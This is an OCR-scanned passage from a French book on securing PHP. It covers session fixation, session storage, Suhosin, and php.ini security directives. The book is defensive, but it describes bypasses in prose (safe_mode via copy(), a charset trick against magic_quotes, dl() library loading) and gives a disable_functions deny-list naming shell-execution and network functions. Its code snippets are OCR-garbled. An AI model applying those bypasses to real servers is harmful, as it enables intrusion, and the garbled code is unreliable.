Spassword = fil tre($_P0ST[ 'password' ] , 'mot_de_passe' ) ; 
if (identifie($login, $ password) ( 

$„SESSION["utilisateur"] = Slogin ; 

$message= 'Bienvenue !' ; 
} else { 

$message= ' Le nom d\'utilisateur et le mot de passe ne coincident pas. 

**Essayez a nouveau' ; 

unset ($_SESSION["utilisateur"]) ; 

} 

} 

?> 
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Dans cet exemple, la session est demarree des que le script d'identification est sollicite. 
Un identifiant est produit et envoye a l'utilisateur. En realite, ce dernier ne pourra l'utili- 
ser que lorsqu'il aura reussi a fournir un identifiant et un mot de passe qui correspondent. 

Un pirate peut done se servir de cette organisation pour obtenir un identifiant de session 
valide : il suffit de venir sur le site pour en obtenir un. La session peut etre entretenue 
habilement en testant un mot de passe au hasard regulierement, ou obtenue a la derniere 
minute. 

Pour passer la barriere de 1' identification, le pirate n'a plus qu'a donner cet identifiant 
legitime a un utilisateur legitime, pour qu'il l'utilise. On se retrouve dans la meme situa- 
tion que pour la fixation de session, mais avec une approche un peu plus compliquee. 

Pour se proteger, il faut surtout eviter de fournir facilement un identifiant de session. Ici, 
il est disponible publiquement, alors qu'il pourrait etre fourni uniquement a un utilisateur 
qui s'est presente. Pour cela, il suffit de deplacer 1' initialisation de session depuis le script 
dans la condition d'identification. Notez que le session_start( ) est optionnel si 
session. auto_start est active dans le fichier php.ini. 

<?php 

// destruction systematique des sessions entrantes. 
session_start( ) ; 
session_destroy( ) ; 

if (!isset($_POST[" login']) { 

Smessage = 'Bienvenue ! Identifiez-vous ou creez un compte' ; 
} else { 

$1 ogi n = filtre($_POST['login'], 'utilisateur') ; 
$password = filtre($_POST[ 'password'], 'mot_de_passe' ) ; 
if (identifie($login, $password) { 
session_start( ) ; 

$_SESSION['utilisateur'] = $login ; 

$message= 'Bienvenue !' ; 
//redirection obligatoire maintenant. 
} else { 

$message= ' Le nom dVutilisateur et le mot de passe ne coincident pas. 
*»Essayez a nouveau' ; 
unset($_SESSION[" utilisateur" ] ); 

} 

} 

?> 

Le stockage des sessions 

Nous avons evoque le stockage des donnees sur le serveur web, en disant qu'il est plutot 
stir. En fait, le niveau de securite des donnees depend directement du moyen de stockage. 

Sur un serveur dedie classique, le stockage est generalement sur, car l'acces a toutes les 
ressources du serveur sont reservees. Toutefois, cela peut changer rapidement, notamment 
si plusieurs applications sont hebergees simultanement sur le meme serveur. 
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Par defaut, PHP enregistre les donnees dans le dossier temporaire du serveur /trap/, qui 
est accessible en lecture et ecriture par tous. II est done recommande d'utiliser un dossier 
plus discret, qui sera reserve au serveur web, au lieu d'utiliser un dossier ouvert a tous. 

Sur un serveur partage, le probleme de 1' acces au dossier de stockage des sessions devient 
crucial. Tous les scripts PHP sont executes par le serveur web et le dossier evoque prece- 
demment ne protegera pas beaucoup plus vos donnees. II faut chercher un autre moyen 
de stockage, qui soit reserve au detenteur du compte et non plus au serveur web. 

La meilleure approche est souvent d'utiliser la base de donnees pour y stacker les 
sessions : l'acces a cette derniere est protegee par un nom d'utilisateur et un mot de passe 
propres a chaque compte. Les bases de donnees sont rarement partagees. 

Pour diriger le stockage des sessions de PHP vers la base de donnees, il faut configurer 
un gestionnaire de sessions, avec la fonction session_set_save_handler( ), qui utilise 
six sous-fonctions : 

• open : ouverture ; 

• close : fermeture ; 

• read : lecture des donnees ; 

• write : ecriture des donnees ; 

• destroy : destruction de la session (ne pas confondre avec Close) ; 

• gc, pour Garbage Collection : suppression des donnees de sessions trop vieilles. 

La documentation PHP dispose d' illustrations de cette fonction et la bibliotheque AdoDB 
dispose meme d'un module dedie a cela. 
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Mesures de securite 
pour PHP 

Cette deuxieme partie est consacree a la securisation de PHP meme. 

Le chapitre 5 presente tout d'abord les differents types d' installation de PHP, ainsi que 
le patch de securite Suhoshin. 

Le chapitre 6 quant a lui vous expliquera comment garantir 1'integrite de vos scripts, 
en les protegeant physiquement contre les injections, en surveillant attentivement le 
comportement de certaines fonctions et en instaurant une rigoureuse politique de gestion 
des erreurs. 
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Installation 
et configuration de PHP 



PHP est la premiere ligne de defense d'une application et, a ce titre, doit etre configure de 
maniere specifique pour proteger le code source et les ressources. 

Installation PHP 

L' installation PHP represente le contexte dans lequel une application web va fonctionner. 
Les choix qui sont faits lors de la compilation de PHP ont un impact ulterieur sur les choix 
de securite. 

Types d'installation PHP 

PHP peut fonctionner sous deux formes : module ou CGI. Le module est un mode de 
fonctionnement ou PHP devient une partie du serve ur web, comme avec Apache. Le 
mode CGI, ou FastCGI, separe PHP du serveur web et permet son execution indepen- 
dante : c'est valable avec Apache, mais aussi avec d'autres serveurs, comme IIS. Les 
deux options ont leurs avantages et leurs inconvenients. 

Module du serveur web 

En version module, PHP est intimement associe au serveur web. C'est le choix le plus 
frequent chez les hebergeurs, car il donne un niveau de performances nettement meilleur 
que la version CGI. 



Mesures de securite pour PHP 

Parte 2 



En ce qui conceme la securite, PHP herite alors des memes droits que le serveur web. 
C'est pour cela qu'il est recommande de ne jamais executer son serveur web avec des droits 
de super-administrateur, mais plutot avec un niveau de droits tres faible. PHP et le serveur 
web doivent etre limites dans leurs acces aux seuls fichiers qui doivent etre publies. 

Si les fichiers systeme tels que /etc/passwd ou ceux de configuration Apache sont connus 
pour etre critiques, il faut egalement se rappeler que des fichiers tels que . htaccess, qui 
sont ranges dans les dossiers contenant les applications web, sont aussi vulnerables. 
Depuis PHP, il est possible de les modifier et de changer leur niveau de droit. II faut done 
mettre en place un systeme de protection particulier pour ces fichiers. 

II est possible de limiter PHP dans ses interventions, a l'aide de la directive open_basedi r 
(nous le verrons plus loin). En revanche, il n'est pas possible de l'empecher d'acceder a 
des fichiers specifiques, mais on peut lui imposer de travailler dans certains dossiers, a 
l'exclusion de tous les autres. 

Disposer d'un seul utilisateur pour tous les webmestres d'un serveur peut devenir delicat 
dans le cas des hebergements partages. Dans ce cas, tous les webmestres disposent des 
memes droits d'execution et d'acces aux codes source les uns des autres. open_basedir 
remedie a cela en limitant les interventions d'un webmestre a son dossier racine. Toutefois, 
il faut penser a securiser les ressources communes, telles que certaines bibliotheques 
d' inclusion, des dossiers comme /tmp/ ou ceux de sauvegarde des sessions. 

Executable CGI et FastCGI 

En mode CGI, PHP est execute comme un processus externe et fonctionne independamment 
du serveur. II devient possible de lui imposer des contraintes particulieres, notamment au 
niveau des acces aux fichiers et des consommations de ressources. 

Ainsi, suexec est un mecanisme qui s'applique aux programmes lances par Apache dans 
le cadre CGI. Vous trouverez la documentation complete sur ce site : http : //httpd . apache .org/ 
docs /1.3/s uexec.html. 

Malheureusement, CGI vient avec son propre lot de problemes. Le premier d'entre eux 
est une degradation des performances, due au lancement d'un processus PHP distinct 
pour chaque requete HTTP entrante. En plus du fork, Apache en profite pour modifier le 
contexte d'execution, ce qui conduit a des pertes de performances qui peuvent atteindre 
50 %. Clairement, la securite a un cout non negligeable. 

FastCGI tente de pallier ce probleme en proposant un ensemble de processus PHP prets 
a l'emploi, mais sa reputation d'instabilite nuit a son adoption. 



Patch Suhoshin 

Suhoshin est un systeme de protection avance pour PHP. II ajoute des protections supple- 
mentaires au moteur et a la configuration PHP, contre des vulnerabilites connues ou a venir. 
Le patch Suhoshin, ainsi que le projet Hardened-PHP, ont ete diriges par Stefan Esser, 
qui a monte l'equipe de securite de PHP, avant de l'abandonner en 2006. 
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Les telechargements se font a cette adresse : http://www.hardened-php.net/suhosin/index.html 

Suhoshin clot des vulnerabilites identifiees par Stefan Esser et son equipe, mais qui n'ont 
pas ete prises en compte par le groupe PHP. II apporte aussi des protections supplemen- 
taires. En voici un apercu. 

Au niveau du moteur, le gestionnaire de memoire, les destructeurs et les listes chainees 
sont renforces. Les manipulations de chemins de fichiers sont aussi blindees. 

Suhoshin ajoute du chiffrement a plusieurs endroits : chiffrement du cookie et des donnees 
en session, ajout de fonctions sha256 et sha256_f i 1 e, crypto et CRYPT_BLOWFISH. Phpinfo( ) 
est egalement dote de protections contre l'enregistrement par les moteurs de recherche. 

Suhoshin propose aussi de nombreuses options supplementaires pour configurer plus 
finement PHP. On peut noter, sans etre exhaustif : 

• listes blanches et noires pour les inclusions de fichiers distants ; 

• interdiction des inclusions de fichiers telecharges ; 

• protection contre les injections d'en-tetes dans les courriers electroniques ainsi que 
dans les reponses HTTP ; 

• aucune prise en compte des valeurs ou des cookies qui portent des noms de variables 
PHP globales ; 

• meilleure surveillance des telechargements de fichiers et des formulaires en general 
(limitations du nombre de variables envoyees, du niveau d'imbrication des donnees, 
des tailles de chaque valeur, etc.). 

Enfin, Suhoshin apporte des fonctions de log automatiques supplementaires, en cas de 
detection d'une tentative d'injection : 1'adresseIP de l'attaquant est alors enregistree 
pour traitement ulterieur. 

Suhoshin presente des ameliorations significatives de securite pour PHP et les applica- 
tions web en general. Ce patch est particulierement recommande quand la securite du 
code n'est pas surveillee etroitement, comme sur un serveur partage, mais pourra servir a 
de nombreuses autres occasions. Suhoshin est maintenant choisi sur les paquets PHP de 
FreeBSD et Gentoo, ou sur les paquets Debian de dotdeb (http://www.dotdeb.org/). 



Configurations de securite PHP 

PHP se configure a l'aide du fichier php.ini : c'est un fichier de configuration tres 
complet, avec une quantite impressionnante de directives. Certaines sont directement 
liees a la securite de PHP ; beaucoup d' autres sont reliees a des fonctionnalites de PHP et 
concernent indirectement la securite. 

Lorsque vous installez une application sur un nouveau serveur ou chez un prestataire, il 
est important de passer en revue la configuration du serveur pour s' assurer que le niveau 
de securite est suffisant ou savoir s'il faut mettre en place des defenses supplementaires 
dans 1' application PHP. 
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Par defaut, la configuration de PHP realise un compromis entre la securite et les fonction- 
nalites. Generalement, les valeurs par defaut sont correctes et permettent de travailler 
convenablement avec de nombreuses applications. En tant que programmeur conscient 
des enjeux de securite, il est important de ne pas vous tier aveuglement a ces configurations 
et de savoir evaluer les impacts des directives sur votre travail. En resume, meme si la 
configuration par defaut vous convient, il vaut mieux la passer en revue pour que vous en 
ayez fait le choix conscient, plutot que de laisser la configuration vous dieter ses choix. 

Sachez que le fichier php . i ni est aussi livre dans une version plus sure dans la distribution 
standard de PHP, sous le nom de php-ini .recommended. La version standard qui est 
couramment utilisee porte elle le nom de php.ini-dist (le dist signifie « distribution »). 
Les choix de php. ini - recommended sont plus drastiques que ceux de php. ini -dist et posent 
parfois probleme a certaines applications : par exemple, short_open_tag, actif dans la 
version standard mais desactive dans la version securisee. Evidemment, il est preferable 
d'utiliser par defaut le php. ini - recommended lorsque e'est possible. 

Notez que de nombreuses directives de configuration sont modifiables au niveau du 
script, e'est-a-dire qu'avec les fonctions in1_set( ) et 1ni_get( ) de PHP, vous pouvez verifier 
la valeur d'une directive et la modifier en consequence. Par exemple, vous pouvez dyna- 
miquement vous assurer que les erreurs ne sont pas affichees dans le resultat du script 
avec cette commande : 

<?php 

if (ini_get( 'displ ay_errors ' ) != 'Off') { 
ini_set( 'display_errors' , 'Off') ; 

} 

?> 

De cette maniere, vous etes certain que la configuration est celle que vous souhaitez, 
meme si le choix de 1' administrate ur n'est pas le votre. 

Generalement, ces directives conservent leur valeur par defaut. Passons differentes directives 
en revue pour mieux comprendre leur fonctionnement et leur utilite en termes de securite. 



Directives de securite 

Plusieurs directives de PHP sont explicitement orientees vers la securisation de la plate- 
forme. II faut toutes les connaitre, car certaines sont obsoletes et induisent un faux sens 
de securite. 

safe_mode 

Le saf e_mode est litteralement un mode de securite, mis en place pour resoudre les proble- 
mes des sites qui partagent le meme serveur. Dans cette situation, il faut s' assurer 
qu'aucun d'entre eux ne peut perturber le site des autres, ni violer leur confidentialite. 
Or, PHP est capable de naviguer presque librement dans le systeme de fichiers. Les 
hebergeurs partages sont done les premiers concernes par cette directive, mais cela peut 
etre aussi votre cas, si vous partagez votre serveur avec des clients. 
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Jusqu' a present, les serveurs web ne proposent pas de solution a cet epineux probleme : 
comment partager les ressources d'un serveur web en fonction des auteurs des applica- 
tions hebergees ? Pour gagner en performances, les serveurs web fonctionnent avec un 
seul utilisateur systeme et rendent impossible la differentiation des auteurs de sites web 
par PHP. 

Pour pallier ce manque, PHP a done mis en place une solution de securite : le safejiode. 
Lorsqu'un script est appele, PHP note le nom du proprietaire, puis s'assure que chaque 
fichier qui est utilise par le script appartient bien au meme proprietaire. De cette maniere, 
il n'est plus possible d'ecrire ou de lire des fichiers qui appartiennent a un autre webmestre. 

D'un point de vue architectural, ce n'est pas a PHP d'assurer cette verification : il 
faudrait que cela soit le serveur web qui le fasse. En effet, il suffit d'un bogue au niveau 
PHP, comme une extension qui prenne mal en compte le saf e_mode pour que ce dernier ne 
soit pas aussi efficace que voulu. Meme si les extensions de la distribution standard sont 
convenablement auditees, il arrive toujours qu'un oubli dans la programmation ouvre la 
porte a une vulnerabilite. Si e'est le serveur web qui se charge de cette verification, il sera 
intransigeant et assurera une meilleure securite. 

Du point de vue des fonctionnalites, le safe_mode conduit generalement a des problemes 
d'acces aux fichiers. Par exemple, lorsqu'un fichier est telecharge sur le serveur, ce 
dernier cree un fichier temporaire pour le stocker et en indique le nom a PHP. Toutefois, 
le fichier temporaire est cree par le serveur web, qui en devient automatiquement le 
proprietaire. Ainsi, le script receveur ne peut plus y acceder, puisque le proprietaire du 
script n'est pas celui du fichier. Le probleme se pose aussi pour les fichiers ou dossiers 
crees dynamiquement par un script : ils appartiennent alors au serveur web et non plus au 
webmestre. C'est un veritable casse-tete. 

Chaque hebergeur propose differentes methodes pour contourner le probleme. II y a 
P interdiction pure et simple du telechargement de fichiers, la fourniture de fonctions 
adaptees pour prendre possession du fichier, le safe_mode par groupe d'utilisateurs a la 
place du saf e_mode par utilisateur : dans ce dernier cas, les webmestres sont cloisonnes par 
groupes, mais ceux qui partagent un meme groupe, peuvent s'espionner les uns les autres. 

Enfin, il est possible de passer outre le saf ejnode pour acceder aux fichiers qui appartiennent 
au serveur web : en fait, il suffit que le script PHP fasse une copie de lui-meme avec la 
fonction copyO. C'est possible, puisqu'un script peut ecrire dans un fichier qui appartient 
a son proprietaire. Une fois cette operation faite, le script appartient au serveur web. Une 
nouvelle execution du script permet alors d' acceder a tous les fichiers qui sont accessibles 
au serveur web, quel que soit le proprietaire initial. 

Au final, le safe_mode engendre plus de problemes qu'il n'en resout. D'ailleurs il sera 
abandonne en PHP 6. L' aspect le plus interessant qu'il propose d'un point de vue de la 
securite est une liste credible de fonctions desactivees. Nous verrons plus loin que nous 
pourrons faire la meme chose avec la directive disable_f unctions. 

II est recommande de ne plus s'appuyer sur le safe_mode, mais d'utiliser a la place 
disable_functions et open_basedi r. 
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registerglobals 

Voici une autre directive qui doit etre considered comme obsolete : register_globals. 
Evitez de l'utiliser autant que possible. 

Cette directive est historique en PHP : elle assure le transfert immediat entre les variables 
envoyees au serveur via le protocole HTTP et les variables du meme nom dans le script. 
Ainsi, a partir de l'URL http://www.site.php/index.php?x=l, PHP initialise la variable $x 
a 1 des le debut du script. Beaucoup de programmeurs ont debute en PHP a l'epoque oil 
cette directive etait activee. II faut reconnaitre qu'elle aidait grandement a la decouverte 
du langage. 

Pour des raisons de securite, cette approche est aujourd'hui abandonnee, au profit des 
variables superglobales $_GET, $_P0ST, $^SERVER, $_C00KIE, etc. Au lieu d'ecrire : 

<?php 

echo htmlentities($x, ENT_COMPAT, ' ISO-8859-1 ' ) ; 

?> 

on ecrit desormais : 
<?php 

echo htmlentities($_GET['x'], ENT_COMPAT, 'ISO-8859-1') ; 

?> 

La difference n'est pas tres grande entre les deux portions de code, mais la seconde 
version dispose d'un atout crucial : on sait exactement d'ou provient la valeur affichee. 
Dans la premiere version, $x peut avoir ete initialisee par GET, par POST ou par un cookie : 
en fait, on n'en sait trop rien. Cela depend des informations qui ont ete envoyees au script 
et done, de ce que nos visiteurs nous envoient : il est toujours tres mauvais de dependre 
des utilisateurs. 

register_globals est desactivee par defaut depuis la version 4.2.0 de PHP. Toutefois, de 
nombreuses applications plus anciennes utilisent encore cette fonctionnalite, a cause de 
leur historique ou pour assurer la compatibilite ascendante de leurs utilisateurs. Si vous 
entreprenez un nouveau developpement, assurez-vous que register„globals est bien 
desactivee et tachez de vous debarrasser des vieilles applications. 

Pour compenser la deactivation de register_globals, certains programmes simulent 
cette fonctionnalite a l'aide d'une boucle foreach, placee en debut de script, ou encore en 
utilisant extractO Cette pratique doit etre activement combattue. Non seulement elle 
retablit une fonctionnalite qui est peu securitaire, mais en plus, elle le fait en gaspillant 
beaucoup de ressources. 

Guillemets magiques 

Derniere directive en voie d'extinction parmi les directives de securite, magicjuotes_gpc 
et ses cousines, magic_quote_runtime et magi c_quote_sybase. magic_quotes, ou « guillemets 
magiques », tente de resoudre les problemes d'injections SQL en ajoutant automatiquement 
des barres obliques inverses dans les chaines de caracteres qui parviennent au script PHP. 
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L'idee est que PHP peut assurer la securite du script a l'insu du developpeur. En effet, si 
une commande SQL est construite comme ceci : 

$sql = 'SELECT * FROM table WHERE login = "' .$_GET[' login']. '" ' ; 

alors l'ajout de barres obliques inverses avant les guillemets permet d'utiliser ces carac- 
teres dans la requete sans que cela ne la transforme en injection. C'est une defense ideale 
pour les debutants : 

$sql = 'SELECT * FROM table WHERE login = "aV'injection" ' ; 

II faut reconnaitre que cette technique est plutot bien adaptee aux requetes SQL, mais 
elle ne Test pas pour les autres technologies connexes a PHP, comme HTML. Les 
magi c_quotes sont done connus pour afficher des chaines comme celle-ci : 

<strong>je nWVaime pas les guillemets magiques</strong> 

dans les pages web. Vous avez certainement deja rencontre ce probleme, aussi bien 
comme programmeur qu'en tant qu'utilisateur. 

Pour se debarrasser de la barre oblique inverse importune, il y a la fonction strip- 
slashesO, ou encore str_repl ace( ) pour les programmeurs les moins malins. Cepen- 
dant, lorsque pour nettoyer toutes les variables, stripsl ashes( )est applique au debut du 
script sur toutes les variables PHP entrantes, alors on fait face a un beau gachis : PHP 
a ajoute une « protection », qui est supprimee au niveau du script. Sans compter les 
utilisations genereuses de stripsl ashes ( )dans le code pour s'assurer de ne pas oublier 
ce maudit caractere. . . 

Les magic_quotes sont d'autant plus inefficaces que les injections SQL ne se font pas 
toujours a l'aide de guillemets : il existe des injections qui n'ont pas besoin de guillemets : 
reportez-vous a la section sur les denis de service MySQL. 

Pire encore, en utilisant habilement les jeux de caracteres, il est possible que magi c_quotes 
ajoute une barre oblique inverse dans une chaine entrante et cree sans le savoir une 
chaine d'injection valide : Chris Shiflett a ainsi montre un exemple avec un jeu de carac- 
teres chinois. En utilisant ce jeu de caracteres, on peut envoyer a PHP une chaine conte- 
nant un guillemet que magi c_quotes_gpc va s'empresser de proteger par une barre oblique 
inverse. La, l'ajout de ce caractere corrige en fait la chaine, tout en utilisant la sequence \ ' 
en un caractere normal. En appliquant la protection, magic_quotes ouvre la voie a une 
injection. Lenfer est pave de bonnes intentions. 

Les proches cousins de magic_quotes, comme magic_quote_runtime, qui etend le principe a 
toutes les donnees qui entrent dans le script PHP, et magi c_quote_sybase, pour les requetes 
vers Sybase, presentent les memes problemes. Toutefois, elles sont tellement rarement 
utilisees que leur disparition en PHP 6 ne sera probablement pas remarquee. 

magic_quotes_gpc doit done etre desactivee et la protection contre les injections SQL doit 
se faire au niveau du script, et en fonction des technologies qui sont utilisees en relation 
avec PHP. 
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open_basedir 

La premiere directive veritablement efficace en termes de securite est sans conteste 
open_basedi r. Elle contient une liste de dossiers, separes par des caracteres deux- 
points « : », comme ceci : 

open_basedi r = "/home/phpinfo/:/usr/lib/php:/usr/local/lib/php:/tmp" 

PHP s'assure que les fichiers qu'un script manipule sont bien ranges dans l'un ou 1' autre 
des dossiers listes dans open_basedi r. C'est exactement la meme technique que les racines 
virtuelles, ou chroot, utilisees en FTP : le script PHP est maintenant confine a une petite 
partie du systeme, d'ou il ne peut pas sortir. 

open_basedir resout de nombreux problemes que le safe_mode introduisait, notamment 
pour la creation de fichiers via le serveur web : il n'y a plus de restriction d'acces aux 
fichiers par le proprietaire, mais par une racine. Tous les fichiers a l'interieur de ce 
dossier et tous ses sous-dossiers sont accessibles au script PHP. Pour faire cohabiter 
differents utilisateurs sur la machine, il suffit alors de leur donner des dossiers distincts. 
Avec open_basedi r, il est meme possible de partager un dossier entre les utilisateurs, s'ils 
sont capables de l'utiliser intelligemment. 

Au moment d'ecrire ce livre, un probleme de securite a ete mis en lumiere pour 
open_basedi r. Ce probleme est difficile a exploiter, mais on dispose de preuves irrefutables de 
son existence. Pour l'exploiter, il faut pouvoir utiliser la fonction syml ink( ) de PHP : la 
recommandation actuelle est done de desactiver cette fonction au niveau de PHP, avec 
disable_functions. 

allowurlfopen 

al 1 ow_url_f open est une directive qui a recu beaucoup d'attention recemment. Elle ouvre 
simultanement la porte a des fonctionnalites puissantes et incontournables de PHP, mais 
aussi aux injections de code PHP. Son utilisation etait done ambivalente, jusqu' a recemment. 

Le probleme vient du fait que les fonctions d'inclusion de code PHP includeO, 
requi re( ), incl ude_once( ) et requi re_once( ) sont logees a la meme enseigne que fopen( ), 
file( ), ou encore file_get_contents( ). Si vous avez besoin d'acceder a des fichiers distants 
avec fopenO, il faudra activer allow_url_fopen, ce qui ouvre la porte a des possibilites 
d'injections via incl ude(). Evidemment, cette menace depend de la maniere dont l'appli- 
cation est structuree, mais au niveau de la configuration des directives, il faut se rappeler 
que la fonctionnalite et la menace vont de pair. 

En termes de securite, il est done recommande de desactiver cette fonctionnalite si vous 
n'en avez pas expressement besoin. 

Depuis PHP 5.2, une nouvelle directive distincte a ete introduite et permet de separer le 
traitement des deux types de fonctions. allow_url_fopen autorise l'acces aux fichiers 
comme d'habitude et allow_url_include se charge d'autoriser explicitement les inclusions 
distantes de code PHP : par defaut, cette directive est desactivee. allow_url_fopen reste 
activee par defaut, fournissant les fonctionnalites habituelles de lecture de fichiers distants. 
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disable_functions 

Les deux directives disable_functions et disable_classes permettent respectivement de 
desactiver des fonctions ou des classes de PHP. L'interet de ces directives est double. 

Desactiver une fonction ou une classe permet de securiser la configuration PHP en 
supprimant l'usage des fonctions qui sont jugees dangereuses ou inutiles. Par exemple, la 
fonction system( ) execute des lignes de commandes Shell depuis PHP. A moins que votre 
script n'ait besoin d'un programme externe a PHP, cette fonction est la voie royale pour 
acceder au systeme d' exploitation : il est done recommande de la desactiver. La directive 
disable_f unctions est la seule solution pour desactiver une fonction standard de PHP, 
comme system( ). 

En allant plus loin, la directive disable_f unctions est aussi utilisee pour desactiver 
partiellement des extensions PHP. Par exemple, l'extension imap propose des fonctions de 
connexion a un serveur IMAP, mais aussi des utilitaires de formatage et d'encodage, 
comme imap_utf8( ). Ces fonctions sont utiles en dehors d'une utilisation strictement 
IMAP. Pour disposer des utilitaires IMAP, mais sans affaiblir la securite en autorisant les 
acces aux serveurs IMAP via PHP, vous pouvez simplement ajouter imap_open() a 
disable_f unctions. Sans cette fonction de creation de ressources IMAP, toutes les fonctions 
qui ont besoin d'une telle ressource seront rendues inutilisables, alors que les fonctions 
utilitaires restent actives. 

Ainsi, disable_f unctions permet aussi de desactiver une fonction complete sans recom- 
piler PHP. Si vous avez obtenu un paquet PHP officiel, certifie pour votre serveur, mais 
qui dispose de trop de fonctionnalites, disable_f unctions vous en delestera. Certes, cela 
ne vaut pas une recompilation manuelle, mais e'est une solution pratique. 

Enfin, di sable^f unctions a ete rejointe par sa petite soeur, disable_cl asses, qui interdit 
certaines classes. En effet, depuis PHP 5, si vous interdisez les fonctions mysql i^connect 
et mysql i_pconnect, mais autorisez l'objet mysql i, alors PHP est toujours capable d'acceder 
a une base MySQL. 

Quelles valeurs pour disable_functions ? 

Idealement, il faudrait interdire toutes les fonctions qui ne sont pas utiles a une applica- 
tion web. En listant les fonctions utilisees dans les scripts et les bibliotheques de votre 
application web, et en les comparant avec les fonctions que PHP propose (via la fonction 
get_defined_functions( ), il est facile d'identifier toutes celles qui ne servent pas. 

Cette approche est tres spartiate et certains la trouveront exageree, avec raison. Si vous 
cherchez une configuration plus adaptee a un usage general, voici quelques fonctions 
qu'il est bon d'examiner et probablement d'interdire si vous n'en avez pas l'usage : 

• Les fonctions d'execution de commandes Shell, comme: systemO, passthruO, 
shel l_exec( ), popen( ), proc_open( ) et exec( ). 

• La fonction dl ( ) qui charge dynamiquement des bibliotheques et sera interdite dans un 
environnement web a partir de PHP 6, mais autorisee pour les applications CLI de PHP. 
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• Les fonctions de manipulation des processus : proc_open( ) et popen( ). 

• Les fonctions de connexions avec des technologies tierces, si vous n'en avez pas 
besoin : mysql_connect( ), mysql_pconnect( ), imap_open( ), ora_open( ), etc. 

• Les fonctions d'acces au reseau, telles que curl_init(), curl_exec(), socketO, 
fsockopen( ), etc. 

• Les fonctions d'acces au serveur web, comme Apache ou IIS. 

• import_request_variables(), et eventuellement extractO. 

• Les fonctions d' administration de PHP, telles que set_time_l imit( ), ini_set( ), putenv( ), 
set_incl ude_path( ), set_magic_quotes_runtime( ), set_time_l imit( ), sys_get_temp_di r( ). 

• Les fonctions de gestion d'un script: ignore_user_abort( ) , regi ster_shutdown 
_function() et register_tick_function( ). 

enable_dl 

enable_dl autorise le chargement de bibliotheques dynamiques en PHP. A la volee, PHP 
va charger une bibliotheque systeme et etendre la gamme des fonctionnalites disponibles. 

C'est une directive utile durant le developpement d'une extension pour PHP : au lieu de 
recompiler tout PHP, et peut-etre meme le serveur web au passage, il suffit de creer une 
bibliotheque partagee (type shared library ou DLL) et de la charger dans un script au 
moment ou on en a besoin, a l'aide de la fonction dl ( ). 

En termes de securite, c'est tres dangereux. II suffit de compiler une bibliotheque sur un 
serveur compatible, puis de la telecharger sur le serveur victime pour pouvoir exploiter la 
puissance de PHP sans aucune limitation, notamment le safe_mode ou open_basedir. En 
general, il est done recommande de la desactiver. D'ailleurs, a partir de PHP 6, cette 
fonction sera desactivee pour les serveur web et activee pour les versions CLI de PHP. 

Consommation de ressources 

PHP est capable de se surveiller lui-meme et d'empecher qu'un script consomme a lui 
tout seul trap de ressources sur le serveur. Les consommations excessives ralentissent le 
serveur, bloquent les autres utilisateurs et, finalement, assurent un deni de service. Gene- 
ralement, ces directives sont bien connues des developpeurs, car elles leur evitent 
souvent des erreurs, meme durant le developpement. 

maxexecutiontime 

Cette directive n'a generalement pas besoin de presentation : elle se manifeste d'elle-meme 
des les premiers scripts d'un nouveau programmeur PHP. Elle limite la consommation de 
temps de calcul processus a un certain temps, exprime en nombre de secondes. Avec son 
nom explicite, on a 1' impression d' avoir tout compris de cette directive. 
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Toutefois, il est a noter que la signification de ce temps varie d'un systeme a l'autre. Sur 
Windows, il s'agit de temps humain, c'est-a-dire la duree comptee depuis le debut de 
l'execution du script. Sur Linux, c'est du temps processeur qui est compte. Si votre 
serveur web est le seul sur la machine, les definitions sont equivalentes sur Windows et 
Linux, tant qu'un seul utilisateur se presente sur le serveur web. En revanche, si plusieurs 
autres services fonctionnent en meme temps sur le serveur, le temps humain necessaire 
avant de voir le script PHP s'arreter sera plus long sur Linux que sur Windows. 

La valeur par defaut de cette directive est de 30 secondes : c'est une valeur particulierement 
genereuse et qui, en fait, ne devrait jamais etre utilisee. La patience d'un utilisateur qui 
sollicite un site ne depasse pas 7 secondes de temps humain. Avec un max_execution_time 
de 30 secondes, et peut-etre un peu de charge sur le serveur, PHP pourrait travailler 
durant une minute pour fournir une page web a. . . un utilisateur qui est parti depuis fort 
longtemps. 

II est done recommande de travailler avec une duree maximale d' execution de script 
aussi basse que possible, idealement autour de 5 a 10 secondes. Un script qui met trap de 
temps a s'executer sur le serveur de developpement, n'en mettra pas moins lorsqu'il 
passera en production. Ce sera meme probablement pire, a cause du trafic. Developpez 
done dans un environnement contraint, pour ne pas avoir de mauvaise surprise en produc- 
tion. 

Plus la duree maximale d'execution d'un script est longue, plus les risques de deni de 
service sont importants. En effet, il suffit de trouver un script qui est lent a s'executer sur 
un serveur web et de charger simultanement plusieurs fois cette page. Inversement, plus 
cette valeur est reduite, plus vite le script aura termine et pourra servir un autre client. 

La pratique montre que max_executi on_time est laissee a 30 secondes. En fait, la valeur de 
cette directive passe rapidement a une minute, deux minutes, voire une journee 
(86 400 secondes). Cette inflation repond en fait aux besoins des administrateurs d'un 
site : eux ont besoin d'executer des scripts qui durent longtemps et ils ont la patience 
d'attendre la fin de l'execution. Par securite, ces scripts sont generalement inaccessibles 
au grand public et confines a un dossier specifique. 

Dans ce cas, il est recommande d'utiliser une configuration specifique pour le dossier 
d' administration : dans le dossier /adm/, max_execution_time peut prendre la valeur de 120 
(2 minutes), tandis que sur le reste du site il reste a 5 ou 7 secondes. Utilisez . htaccess ou 
bien set_time_l imit( ) pour modifier la configuration localement. Par defaut, laissez une 
valeur tres basse de cette directive. De cette maniere, la partie publique du site est limitee 
en consommation, mais la partie d' administration ne Test pas. 

memoryjimit 

memory_l imit restreint la quantite de memoire utilisee par PHP. Contrairement a 
max_execution_time, elle n'est implantee par defaut dans PHP que depuis PHP 5.2.0 et il 
faut l'activer lors de la compilation. En pratique, presque 50 % des sites web PHP ne 
l'utilisent pas : c'est une erreur. 



Mesures de securite pour PHP 

Parte 2 



De la meme facon que max_execution_time limite la consommation de processeur, 
memory_l i mi t plafonne la quantite de memoire qu'un script peut accaparer. Plus cette 
limite est haute, moins vous pourrez faire executer simultanement de script sur le 
serveur : la quantite de memoire est en quantite finie. 

La configuration par defaut de memory_l imi t est de 8 Mo. Cette valeur ne convient pas aux 
galeries d'images : avec l'accroissement de la taille des images fournies par les appareils 
numeriques, il faut facilement passer cette valeur a 16 voire 32 Mo. D'ailleurs PHP 5.2.0 
utilise maintenant une valeur par defaut de 16 Mo et PHP 5.2.1 utilise 128 Mo. 

La consommation de memoire est totalement masquee dans un script PHP : elle se cache 
facilement dans les ressources PHP, produites par les extensions. On peut la mesurer avec 
les fonctions memory_get_usage() et memory_get_peak_usage( ). La creation de fichiers PDF, 
d'images et d' animations Flash sont souvent les operations les plus gourmandes en 
